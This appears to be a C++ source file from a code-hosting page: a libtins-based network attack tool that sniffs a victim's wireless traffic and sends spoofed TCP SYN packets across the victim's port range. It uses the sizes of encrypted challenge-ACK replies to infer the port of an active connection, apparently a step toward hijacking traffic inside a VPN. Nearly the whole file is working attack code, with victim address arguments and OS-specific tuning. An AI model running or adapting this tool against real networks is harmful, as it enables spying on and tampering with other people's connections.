You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

241 lines
6.2 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. using std::thread;
  8. using std::cout;
  9. using std::string;
  10. using namespace Tins;
  11. int current_spoof_port, best_port, chack_count;
  12. bool sniffed_chack = false;
  13. bool is_running = true;
  14. bool verbose = false;
  15. bool count_chacks = false;
  16. bool quick_mode = true; // if true we don't recheck the port
  17. int num_sent = 0;
  18. string victim_wlan_addr;
  19. string remote_addr;
  20. void print_divider(int count) {
  21. int i = 0;
  22. while (i < count) {
  23. if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  24. i++;
  25. }
  26. }
  27. bool handle_packet(PDU &some_pdu) {
  28. const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  29. // keep track of the last port we spoofed
  30. if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
  31. if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
  32. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  33. //cout << "sniffed something: " <<payload << "\n";
  34. const int remainder = payload % 67; // 67 is the size of encrypted resets on ubuntu
  35. if (remainder != 0) {
  36. //cout << "\nsniffed something important - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
  37. // If it's not working as expected, uncomment the line above to
  38. // check what the typical remainder is looking like as it scans the
  39. // port range. In this case, ubuntu 19, if you uncomment the line above
  40. // it would repeatedly sniff 41 packets until the correct port, then it
  41. // would sniff a 48 packet
  42. if (remainder != 41 && (remainder == 40 || remainder == 48)) { // the size of the remainder could change per OS
  43. if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
  44. if (count_chacks) chack_count ++;
  45. if (verbose) cout << "some other val: " << ((payload - 79) % 67) << "\n";
  46. if (!sniffed_chack) {
  47. sniffed_chack = true;
  48. best_port = current_spoof_port;
  49. }
  50. }
  51. }
  52. }
  53. return is_running;
  54. }
  55. void sniff_stuff() {
  56. SnifferConfiguration config;
  57. config.set_promisc_mode(true);
  58. Sniffer sniffer("wlp1s0", config);
  59. sniffer.sniff_loop(handle_packet);
  60. }
  61. bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
  62. PacketSender sender;
  63. NetworkInterface iface("wlp1s0");
  64. count_chacks = true;
  65. chack_count = 0;
  66. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(possible_port, sport);
  67. TCP& tcp = pkt.rfind_pdu<TCP>();
  68. tcp.set_flag(TCP::SYN, 1);
  69. int count = 0;
  70. usleep(1000000 / 2);
  71. while (count < num_checks) {
  72. sender.send(pkt, iface);
  73. usleep(1000000 / 2); // must sleep half second due to chack rate limit
  74. count ++;
  75. }
  76. usleep(1000000);
  77. // should have just sniffed as many chacks as we just sent
  78. if (verbose) cout << "end of rechack, count : " << chack_count << ", should be: " << num_checks << " \n";
  79. if (chack_count >= num_checks) {
  80. return true;
  81. }
  82. count_chacks = false;
  83. num_sent += count;
  84. return false;
  85. }
  86. // Spreads SYNs across the victim's entire port range
  87. // coming from a specific remote_ip:port
  88. //
  89. int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
  90. PacketSender sender;
  91. NetworkInterface iface("wlp1s0");
  92. int start_port = 39000;//32768; // typical Linux ephemeral port range - (32768, 61000)
  93. int end_port = 42000;//61000;
  94. int i;
  95. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
  96. TCP& tcp = pkt.rfind_pdu<TCP>();
  97. tcp.set_flag(TCP::SYN, 1);
  98. int current_port = best_port;
  99. for (i = start_port; i < end_port; i ++) {
  100. tcp.dport(i); // set the packets dest port to current guess
  101. sender.send(pkt, iface);
  102. num_sent ++;
  103. usleep(10);
  104. }
  105. usleep(1000000); // sleep to give victim time to respond w chack
  106. current_port = best_port;
  107. if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
  108. // In round 1 we spoofed fast (10 sleep) to get a good estimate of the
  109. // port in use. Round 2, we spoof slower from about 50 packets back to account
  110. // for the delay in response and hopefully get the exact port number in use
  111. print_divider(1);
  112. usleep(1000000 / 2);
  113. sniffed_chack = false;
  114. int j;
  115. int send_delay = 300;
  116. if (verbose) cout << "Starting round 2 spread from: " << (current_port - send_delay) << " to " << current_port << "\n";
  117. for (j = (current_port - send_delay); j < current_port; j++) {
  118. tcp.dport(j); // set the packets dest port to current guess
  119. sender.send(pkt, iface);
  120. num_sent ++;
  121. usleep(600 * 5);
  122. }
  123. usleep(1000000);
  124. if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
  125. return best_port;
  126. }
  127. int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
  128. bool is_found = false;
  129. int current_port = 0;
  130. while (!is_found) {
  131. current_port = phase_two_spread(dest_mac, src_mac, remote_addr, sport, victim_ip);
  132. print_divider(1);
  133. if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
  134. cout << current_port << "\n";
  135. if (quick_mode) {
  136. is_found = true;
  137. } else {
  138. is_found = rechack(2, current_port, dest_mac, src_mac, remote_addr, sport, victim_ip);
  139. }
  140. }
  141. return current_port;
  142. }
  143. int main(int argc, char** argv) {
  144. if (argc != 5 && argc != 6) {
  145. cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr)\n";
  146. return 0;
  147. }
  148. remote_addr = argv[1];
  149. int sport = atoi(argv[2]);
  150. victim_wlan_addr = argv[3];
  151. string dest_ip = argv[4];
  152. //verbose = true;
  153. string dest_mac = argv[5];
  154. string src_mac = "";
  155. print_divider(2);
  156. thread sniff_thread(sniff_stuff);
  157. int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
  158. is_running = false;
  159. sniff_thread.detach();
  160. //sniff_thread.join();
  161. print_divider(1);
  162. if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
  163. cout << p << "\n";
  164. return p;
  165. }